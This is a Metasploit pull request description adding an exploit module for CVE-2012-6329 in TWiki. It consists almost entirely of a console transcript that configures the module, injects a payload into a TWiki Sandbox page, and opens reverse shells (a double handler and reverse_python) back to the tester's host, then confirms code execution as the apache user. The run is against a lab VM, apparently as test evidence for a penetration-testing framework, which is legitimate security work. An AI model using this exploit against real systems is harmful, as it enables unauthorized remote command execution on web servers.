rapid7/metasploit-framework — pull request #1191 by jvazquez-r7 (2012-12-21 10:33:03+00:00)
Title: Added module for CVE-2012-6329

Tested with TWiki-VM-5.1.2-1.zip as distributed by twiki :

msf > use exploit/unix/webapp/twiki_maketext
msf exploit(twiki_maketext) > show options

Module options (exploit/unix/webapp/twiki_maketext):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password to authenticate with (anonymous if password not provided)
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
TARGETURI / yes TWiki base path
TwikiPage no TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)
USERNAME no The user to authenticate as (anonymous if username not provided)
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(twiki_maketext) > set USERNAME JuanMsf
USERNAME => JuanMsf
msf exploit(twiki_maketext) > set PASSWORD admin1234
PASSWORD => admin1234
msf exploit(twiki_maketext) > set RHOST 192.168.1.134
RHOST => 192.168.1.134
msf exploit(twiki_maketext) > rexploit
[*] Reloading module...
[*] Started reverse double handler

[*] Trying login to get session ID...
[*] Trying to inject the payload on /Sandbox/YevYff...
[+] Payload injected on /do/view/Sandbox/YevYff
[*] Executing the payload through /do/view/Sandbox/YevYff...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[+] Exploitation was successful
[*] Command: echo hidLZJXcUffgpq4g;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "sh: line 1: Trying: command not found\r\nsh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\nhidLZJXcUffgpq4g\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.134:39010) at 2012-12-21 11:26:26 +0100

id
uid=48(apache) gid=48(apache) groups=48(apache)
^C
Abort session 1? [y/N] y

[*] 192.168.1.134 - Command shell session 1 closed. Reason: User exit
msf exploit(twiki_maketext) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(twiki_maketext) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] Trying login to get session ID...
[*] Trying to inject the payload on /Sandbox/TllAhe...
[+] Payload injected on /do/view/Sandbox/TllAhe
[*] Executing the payload through /do/view/Sandbox/TllAhe...
[*] Command shell session 2 opened (192.168.1.128:4444 -> 192.168.1.134:39012) at 2012-12-21 11:26:55 +0100

^C[-] Exploit failed: Interrupt

bash: no job control in this shell
bash-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.2$ exit

[*] 192.168.1.134 - Command shell session 2 closed. Reason: Died from EOFError
^C
Abort session 2? [y/N] y